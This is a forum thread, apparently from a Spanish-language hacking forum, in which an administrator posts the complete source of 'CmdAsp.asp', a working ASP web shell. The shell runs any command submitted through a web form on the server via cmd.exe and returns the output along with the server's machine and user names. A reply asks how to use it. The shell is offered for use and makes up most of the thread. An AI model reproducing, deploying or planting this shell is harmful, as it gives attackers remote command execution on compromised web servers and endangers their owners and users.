This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

[ASP] CMD ASP Shell

  • 1 Replies
  • 6382 Views

0 Members and 1 Guest are viewing this topic.

Offline ANTRAX

  • *
  • Administrator
  • Posts: 5849
  • Actividad:
    66.67%
  • Country: ar
  • Reputación 43
  • ANTRAX
  • Twitter: @Underc0de
    • View Profile
    • Underc0de
    • Email

[ASP] CMD ASP Shell

  • on: February 12, 2013, 08:26:44 pm
Ls dejo otra shell en ASP llamada CMD

Code: (asp) You are not allowed to view links. Register or Login
<++ CmdAsp.asp ++>
<%@ Language=VBScript %>
<%
' --------------------o0o--------------------
' File: CmdAsp.asp
' Author: Maceo <maceo @ dogmile.com>
' Release: 2000-12-01
' OS: Windows 2000, 4.0 NT
' -------------------------------------------

Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile

On Error Resume Next

' -- create the COM objects that we will be using -- '
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then

' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

End If

%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<br>
<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
<-- CmdAsp.asp -->

Saludos!
ANTRAX


Offline zoro248

  • *
  • Underc0der
  • Posts: 238
  • Actividad:
    0%
  • Reputación 0
    • View Profile
    • Email

Re:[ASP] CMD ASP Shell

  • on: February 12, 2013, 09:21:04 pm
ANTRAX , se que es mucho pedir, pero tienes info acerca de como se podria utilizar esta shell?